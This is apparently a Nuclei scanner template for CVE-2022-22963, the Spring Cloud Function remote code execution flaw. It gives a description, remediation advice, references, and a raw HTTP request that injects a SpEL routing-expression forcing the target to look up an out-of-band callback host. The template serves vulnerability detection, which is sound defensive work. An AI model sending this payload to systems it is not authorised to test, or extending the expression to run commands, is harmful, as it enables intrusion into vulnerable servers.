id: CVE-2022-22963 info: name: Spring Cloud - Remote Code Execution author: Mr-xn,Adam Crosser severity: critical description: | Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions are susceptible to remote code execution vulnerabilities. When using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local resources. remediation: | Apply the latest security patches provided by the Spring Cloud project to mitigate this vulnerability. reference: - https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f - https://github.com/cckuailong/spring-cloud-function-SpEL-RCE - https://tanzu.vmware.com/security/cve-2022-22963 - https://nsfocusglobal.com/spring-cloud-function-spel-expression-injection-vulnerability-alert/ - https://github.com/vulhub/vulhub/tree/scf-spel/spring/spring-cloud-function-spel-injection - https://nvd.nist.gov/vuln/detail/CVE-2022-22963 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-22963 cwe-id: CWE-917,CWE-94 epss-score: 0.97534 epss-percentile: 0.99991 cpe: cpe:2.3:a:vmware:spring_cloud_function:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: vmware product: spring_cloud_function tags: vulhub,cve,cve2022,springcloud,rce,kev http: - raw: - | POST /functionRouter HTTP/1.1 Host: {{Hostname}} spring.cloud.function.routing-expression: T(java.net.InetAddress).getByName("{{interactsh-url}}") Content-Type: application/x-www-form-urlencoded {{rand_base(8)}} matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "http" - "dns" condition: or - type: status status: - 500 # digest: 4a0a00473045022100a1b57023c2f98b99056a250cc608dc79afa40d90d3535820ce29ce32eded61f8022028665f2e06be291bf37ad89cdda6d30c91010a752a5ae59ba68cb519bdfa0ed9:922c64590222798bb761d5b6d8e72950